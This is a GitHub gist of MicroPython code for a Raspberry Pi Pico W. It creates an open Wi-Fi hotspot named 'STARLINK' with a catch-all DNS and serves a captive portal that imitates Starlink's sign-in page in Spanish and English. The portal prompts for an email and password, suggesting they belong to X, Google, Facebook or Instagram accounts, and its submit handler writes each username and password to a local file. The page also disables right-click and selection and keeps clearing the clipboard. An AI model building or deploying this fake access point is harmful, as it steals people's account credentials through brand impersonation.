Skip to content

Instantly share code, notes, and snippets.

@vitouXY
Last active July 5, 2025 21:05
Show Gist options
  • Save vitouXY/1eb35c8a5b4843fa11371c8e5720e5d8 to your computer and use it in GitHub Desktop.
Save vitouXY/1eb35c8a5b4843fa11371c8e5720e5d8 to your computer and use it in GitHub Desktop.
RPI-RP2 Raspberry Pi Pico W - Access Point & Captive Portal - Fake AP
#BOF
# picow_phew_captiveportal_starlink_es-en
# https://github.com/thonny/thonny/releases
# https://datasheets.raspberrypi.com/soft/flash_nuke.uf2
# https://rpf.io/pico-w-firmware
# https://micropython.org/download/rp2-pico-w/rp2-pico-w-latest.uf2
# https://picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/
# https://github.com/pimoroni/phew
#import upip
#upip.install("micropython-phew")
from phew import access_point, dns, server, logging
import uasyncio as asyncio
logging.info(f"* Access Point...")
ap = access_point("STARLINK", password=None)
logging.info(f"** IP: {ap.ifconfig()[0]}")
logging.info(f"* DNS...")
dns.run_catchall(ap.ifconfig()[0])
PORTAL_HTML = """
<!DOCTYPE html>
<html lang="es">
<head>
<meta http-equiv="Content-Type" charset="utf-8" content="text/html" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="imagetoolbar" content="no" />
<meta http-equiv="pragma" content="no-cache" />
<!-- <link rel='icon' href='data:image/x-icon;base64,ABC' type='image/x-icon' />
<link rel='shortcut icon' href='data:image/x-icon;base64,ABC' /> -->
<title>Starlink Iniciar Sesión</title>
<style>
* {
box-sizing: border-box;
}
body {
margin: 0;
background-color: #000;
font-family: Arial, sans-serif;
color: white;
display: flex;
flex-direction: column;
min-height: 100vh;
}
.logo {
text-align: center;
padding: 40px 0 20px;
}
.logo img {
height: 30px;
}
.login-box {
background-color: #1e1e1e;
width: 90%;
max-width: 400px;
margin: auto;
padding: 30px 20px;
border-radius: 8px;
text-align: center;
}
.login-box h2 {
margin-bottom: 25px;
font-weight: normal;
font-size: 24px;
}
.input-box {
margin-bottom: 15px;
}
.input-box input {
width: 100%;
padding: 14px;
background-color: #2a2a2a;
border: 1px solid #444;
border-radius: 4px;
color: white;
font-size: 16px;
}
.login-box button {
width: 100%;
padding: 14px;
background-color: white;
color: black;
font-weight: bold;
font-size: 16px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-top: 10px;
}
.locked-out {
margin-top: 12px;
font-size: 14px;
color: #aaa;
}
.menu {
position: absolute;
top: 20px;
right: 20px;
width: 25px;
height: 2px;
background: white;
box-shadow: 0 6px white, 0 12px white;
}
.footer {
margin-top: auto;
text-align: center;
font-size: 12px;
padding: 15px 10px;
color: #aaa;
}
.footer a {
color: #aaa;
margin: 0 6px;
text-decoration: none;
display: inline-block;
word-break: break-word;
}
@media (max-width: 400px) {
.login-box {
padding: 25px 15px;
}
.login-box h2 {
font-size: 20px;
}
.input-box input, .login-box button {
font-size: 14px;
padding: 12px;
}
.menu {
right: 15px;
top: 15px;
}
}
.language-menu {
position: absolute;
top: 20px;
right: 20px;
cursor: pointer;
z-index: 10;
user-select: none;
color: white;
font-size: 14px;
}
.language-list {
position: absolute;
top: 35px;
right: 0;
background-color: #1e1e1e;
border: 1px solid #444;
border-radius: 4px;
list-style: none;
padding: 0;
margin: 0;
min-width: 120px;
display: none;
}
.language-list li {
padding: 10px;
color: white;
cursor: pointer;
}
.language-list li:hover {
background-color: #333;
}
.language-list.hidden {
display: none;
}
.language-list.visible {
display: block;
}
</style>
<script language="Javascript"> var TimeID; function timer() { window.clipboardData.clearData(); timeID = setTimeout("timer()", 100); } </script>
</head>
<body translate="no" onload="timer()" oncontextmenu="return false" ondragstart="return false" onselectstart="return false" onkeydown="return true" onselect="return false" onclick="return true" ondblclick="return false">
<script>
function toggleLanguageMenu(event) {
event.stopPropagation();
const menu = event.currentTarget.querySelector('.language-list');
const isVisible = menu.classList.contains('visible');
document.querySelectorAll('.language-list').forEach(m => m.classList.add('hidden'));
if (!isVisible) {
menu.classList.remove('hidden');
menu.classList.add('visible');
} else {
menu.classList.remove('visible');
menu.classList.add('hidden');
}
}
function LANG(language) { window.location.href = '/' + language; }
document.addEventListener('click', () => {
document.querySelectorAll('.language-list').forEach(m => {
m.classList.remove('visible');
m.classList.add('hidden');
});
});
</script>
<div class="menu language-menu" onclick="toggleLanguageMenu(event)">
<span>  </span>
<ul class="language-list hidden">
<li onclick="LANG('en-US')">English</li>
</ul>
</div>
<div class="logo">
<svg viewBox="0 0 1032 524" style="width: 160px; height: auto;">
<defs>
<clipPath id="mask_x1">
<circle cx="275" cy="85" r="200" />
</clipPath>
<clipPath id="mask_x2">
<circle cx="230" cy="90" r="80" />
</clipPath>
</defs>
<g transform="matrix(3.3784 0 0 3.3784 -530.93 7.7532)">
<g>
<path d="m164 142.2h2.8c0.1 0.9 0.4 1.5 0.8 1.8 0.4 0.4 1.1 0.5 2 0.5 1.7 0 2.5-0.7 2.5-2 0-0.6-0.2-1.1-0.5-1.4s-0.9-0.5-1.6-0.7l-1.5-0.2c-2.8-0.5-4.2-1.9-4.2-4.3 0-1.4 0.5-2.6 1.4-3.4 1-0.8 2.2-1.3 3.8-1.3 1.5 0 2.7 0.4 3.6 1.2s1.4 2 1.5 3.4h-2.8c0-0.8-0.3-1.3-0.7-1.6s-1-0.5-1.7-0.5c-0.8 0-1.3 0.2-1.7 0.5s-0.6 0.8-0.6 1.5c0 0.5 0.2 1 0.5 1.3s0.9 0.5 1.6 0.7l1.6 0.3c2.7 0.5 4 1.9 4 4.4 0 1.6-0.5 2.8-1.5 3.6s-2.3 1.2-4 1.2-3-0.4-3.9-1.2c-0.8-1-1.3-2.2-1.4-3.8z" fill="#fff"/>
<path d="m188.5 134v13h-3v-13h-4v-2.6h10.9v2.6z" fill="#fff"/>
<path d="m200.9 143.9-0.9 3h-3.1l5.5-15.5h2.4l5.5 15.5h-3.1l-0.9-3zm2.7-8.4-1.9 6h3.8z" fill="#fff"/>
<path d="m220.3 140.7v6.3h-2.9v-15.5h5.9c1.5 0 2.7 0.4 3.6 1.2s1.4 2 1.4 3.4c0 1-0.2 1.9-0.7 2.6s-1.2 1.2-2 1.6l3.4 6.8h-3.4l-2.9-6.3h-2.4zm2.8-2.5c0.7 0 1.2-0.2 1.6-0.6s0.6-0.9 0.6-1.6c0-0.6-0.2-1.1-0.6-1.5s-0.9-0.6-1.6-0.6h-2.8v4.2h2.8z" fill="#fff"/>
<path d="m239.2 131.4v13h6.8v2.6h-9.7v-15.5h2.9z" fill="#fff"/>
<path d="m256.6 131.4v15.6h-2.9v-15.5h2.9z" fill="#fff"/>
<path d="m276.7 147h-2.9l-5.7-9.7v9.7h-3.1v-15.5h2.9l5.7 9.7v-9.7h2.9v15.5z" fill="#fff"/>
<path d="m287.9 142.6v4.3h-2.9v-15.5h2.9v7.2l5.4-7.2h3.5l-5 6.2 5.4 9.3h-3.4l-3.8-6.9z" fill="#fff"/>
</g>
<g>
<g clip-path="url(#mask_x1)">
<path d="m168.4 112.2-3.9 3.8h34.5c93-93.4 226.9-110 261-112.8v-0.1c-186.1 10.7-272.1 90.3-291.6 109.1" fill="#fff"/>
</g>
<g clip-path="url(#mask_x2)">
<path d="m263.2 116h34.1l-47.2-34.8c-5.7 3.9-11.6 8.3-17.2 12.7z" fill="#fff"/>
<path d="m200.9 44.6h-34.1l40 29.3c5.8-3.9 12.5-8.1 18.7-11.7z" fill="#fff"/>
</g>
</g>
</g>
</svg>
</div>
<div class="login-box">
<h2>INICIAR SESIÓN</h2>
<form method="POST" action="/submit">
<div class="input-box">
<input type="text" name="username" placeholder="Correo electrónico" required />
</div>
<div class="input-box">
<input type="password" name="password" placeholder="Contraseña" required />
</div>
<p>* Inicia sesión con X, Google, Facebook o Instagram.</p>
<button type="submit">Iniciar Sesión</button>
</form>
<div class="locked-out">¿Necesita ayuda?</div>
</div>
<div class="footer">
Starlink © 2025 |
<a href="#">Empleo</a> |
<a href="#">Operadores de satélites</a> |
<a href="#">Privacidad y aspectos legales</a> |
Starlink es una división de SpaceX. Visite
<strong><a href="/" target="_blank">spacex.com</a></strong>
</div>
</body>
</html>
"""
PORTAL_EN_HTML = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" charset="utf-8" content="text/html" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="imagetoolbar" content="no" />
<meta http-equiv="pragma" content="no-cache" />
<!-- <link rel='icon' href='data:image/x-icon;base64,ABC' type='image/x-icon' />
<link rel='shortcut icon' href='data:image/x-icon;base64,ABC' /> -->
<title>Starlink Sign In</title>
<style>
* {
box-sizing: border-box;
}
body {
margin: 0;
background-color: #000;
font-family: Arial, sans-serif;
color: white;
display: flex;
flex-direction: column;
min-height: 100vh;
}
.logo {
text-align: center;
padding: 40px 0 20px;
}
.logo img {
height: 30px;
}
.login-box {
background-color: #1e1e1e;
width: 90%;
max-width: 400px;
margin: auto;
padding: 30px 20px;
border-radius: 8px;
text-align: center;
}
.login-box h2 {
margin-bottom: 25px;
font-weight: normal;
font-size: 24px;
}
.input-box {
margin-bottom: 15px;
}
.input-box input {
width: 100%;
padding: 14px;
background-color: #2a2a2a;
border: 1px solid #444;
border-radius: 4px;
color: white;
font-size: 16px;
}
.login-box button {
width: 100%;
padding: 14px;
background-color: white;
color: black;
font-weight: bold;
font-size: 16px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-top: 10px;
}
.locked-out {
margin-top: 12px;
font-size: 14px;
color: #aaa;
}
.menu {
position: absolute;
top: 20px;
right: 20px;
width: 25px;
height: 2px;
background: white;
box-shadow: 0 6px white, 0 12px white;
}
.footer {
margin-top: auto;
text-align: center;
font-size: 12px;
padding: 15px 10px;
color: #aaa;
}
.footer a {
color: #aaa;
margin: 0 6px;
text-decoration: none;
display: inline-block;
word-break: break-word;
}
@media (max-width: 400px) {
.login-box {
padding: 25px 15px;
}
.login-box h2 {
font-size: 20px;
}
.input-box input, .login-box button {
font-size: 14px;
padding: 12px;
}
.menu {
right: 15px;
top: 15px;
}
}
.language-menu {
position: absolute;
top: 20px;
right: 20px;
cursor: pointer;
z-index: 10;
user-select: none;
color: white;
font-size: 14px;
}
.language-list {
position: absolute;
top: 35px;
right: 0;
background-color: #1e1e1e;
border: 1px solid #444;
border-radius: 4px;
list-style: none;
padding: 0;
margin: 0;
min-width: 120px;
display: none;
}
.language-list li {
padding: 10px;
color: white;
cursor: pointer;
}
.language-list li:hover {
background-color: #333;
}
.language-list.hidden {
display: none;
}
.language-list.visible {
display: block;
}
</style>
<script language="Javascript"> var TimeID; function timer() { window.clipboardData.clearData(); timeID = setTimeout("timer()", 100); } </script>
</head>
<body translate="no" onload="timer()" oncontextmenu="return false" ondragstart="return false" onselectstart="return false" onkeydown="return true" onselect="return false" onclick="return true" ondblclick="return false">
<script>
function toggleLanguageMenu(event) {
event.stopPropagation();
const menu = event.currentTarget.querySelector('.language-list');
const isVisible = menu.classList.contains('visible');
document.querySelectorAll('.language-list').forEach(m => m.classList.add('hidden'));
if (!isVisible) {
menu.classList.remove('hidden');
menu.classList.add('visible');
} else {
menu.classList.remove('visible');
menu.classList.add('hidden');
}
}
function LANG(language) { window.location.href = '/' + language; }
document.addEventListener('click', () => {
document.querySelectorAll('.language-list').forEach(m => {
m.classList.remove('visible');
m.classList.add('hidden');
});
});
</script>
<div class="menu language-menu" onclick="toggleLanguageMenu(event)">
<span>  </span>
<ul class="language-list hidden">
<li onclick="LANG('es-CL')">Español</li>
</ul>
</div>
<div class="logo">
<svg viewBox="0 0 1032 524" style="width: 160px; height: auto;">
<defs>
<clipPath id="mask_x1">
<circle cx="275" cy="85" r="200" />
</clipPath>
<clipPath id="mask_x2">
<circle cx="230" cy="90" r="80" />
</clipPath>
</defs>
<g transform="matrix(3.3784 0 0 3.3784 -530.93 7.7532)">
<g>
<path d="m164 142.2h2.8c0.1 0.9 0.4 1.5 0.8 1.8 0.4 0.4 1.1 0.5 2 0.5 1.7 0 2.5-0.7 2.5-2 0-0.6-0.2-1.1-0.5-1.4s-0.9-0.5-1.6-0.7l-1.5-0.2c-2.8-0.5-4.2-1.9-4.2-4.3 0-1.4 0.5-2.6 1.4-3.4 1-0.8 2.2-1.3 3.8-1.3 1.5 0 2.7 0.4 3.6 1.2s1.4 2 1.5 3.4h-2.8c0-0.8-0.3-1.3-0.7-1.6s-1-0.5-1.7-0.5c-0.8 0-1.3 0.2-1.7 0.5s-0.6 0.8-0.6 1.5c0 0.5 0.2 1 0.5 1.3s0.9 0.5 1.6 0.7l1.6 0.3c2.7 0.5 4 1.9 4 4.4 0 1.6-0.5 2.8-1.5 3.6s-2.3 1.2-4 1.2-3-0.4-3.9-1.2c-0.8-1-1.3-2.2-1.4-3.8z" fill="#fff"/>
<path d="m188.5 134v13h-3v-13h-4v-2.6h10.9v2.6z" fill="#fff"/>
<path d="m200.9 143.9-0.9 3h-3.1l5.5-15.5h2.4l5.5 15.5h-3.1l-0.9-3zm2.7-8.4-1.9 6h3.8z" fill="#fff"/>
<path d="m220.3 140.7v6.3h-2.9v-15.5h5.9c1.5 0 2.7 0.4 3.6 1.2s1.4 2 1.4 3.4c0 1-0.2 1.9-0.7 2.6s-1.2 1.2-2 1.6l3.4 6.8h-3.4l-2.9-6.3h-2.4zm2.8-2.5c0.7 0 1.2-0.2 1.6-0.6s0.6-0.9 0.6-1.6c0-0.6-0.2-1.1-0.6-1.5s-0.9-0.6-1.6-0.6h-2.8v4.2h2.8z" fill="#fff"/>
<path d="m239.2 131.4v13h6.8v2.6h-9.7v-15.5h2.9z" fill="#fff"/>
<path d="m256.6 131.4v15.6h-2.9v-15.5h2.9z" fill="#fff"/>
<path d="m276.7 147h-2.9l-5.7-9.7v9.7h-3.1v-15.5h2.9l5.7 9.7v-9.7h2.9v15.5z" fill="#fff"/>
<path d="m287.9 142.6v4.3h-2.9v-15.5h2.9v7.2l5.4-7.2h3.5l-5 6.2 5.4 9.3h-3.4l-3.8-6.9z" fill="#fff"/>
</g>
<g>
<g clip-path="url(#mask_x1)">
<path d="m168.4 112.2-3.9 3.8h34.5c93-93.4 226.9-110 261-112.8v-0.1c-186.1 10.7-272.1 90.3-291.6 109.1" fill="#fff"/>
</g>
<g clip-path="url(#mask_x2)">
<path d="m263.2 116h34.1l-47.2-34.8c-5.7 3.9-11.6 8.3-17.2 12.7z" fill="#fff"/>
<path d="m200.9 44.6h-34.1l40 29.3c5.8-3.9 12.5-8.1 18.7-11.7z" fill="#fff"/>
</g>
</g>
</g>
</svg>
</div>
<div class="login-box">
<h2>SIGN IN</h2>
<form method="POST" action="/submit">
<div class="input-box">
<input type="text" name="username" placeholder="EMAIL" required />
</div>
<div class="input-box">
<input type="password" name="password" placeholder="PASSWORD" required />
</div>
<p>* Sign in with X, Google, Facebook or Instagram account.</p>
<button type="submit">SIGN IN</button>
</form>
<div class="locked-out">LOCKED OUT?</div>
</div>
<div class="footer">
Starlink © 2025 |
<a href="#">Careers</a> |
<a href="#">Satellite Operators</a> |
<a href="#">Privacy & Legal</a> |
Starlink is a division of SpaceX. Visit us at
<strong><a href="/" target="_blank">spacex.com</a></strong>
</div>
</body>
</html>
"""
@server.route("/")
def index(request):
return PORTAL_HTML
@server.route("/en-US")
def en(request):
return PORTAL_EN_HTML
@server.route("/es-CL")
def es(request):
return PORTAL_HTML
@server.route("/submit", methods=["POST"])
def submit(request):
username = request.form.get("username", "").strip()
password = request.form.get("password", "").strip()
if username and password:
with open("datos.txt", "a") as f:
f.write(f"|{username}||{password}|\n")
return """<!DOCTYPE html><html><head><meta http-equiv="refresh" content="90;URL='/' /></head><body><h4>Starlink...</h4></body></html>"""
else:
return server.redirect("/")
@server.catchall()
def catchall(request):
return server.redirect("/")
logging.info(f"* Server...")
#server.run()
asyncio.create_task(server.run())
asyncio.get_event_loop().run_forever()
#EOF
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment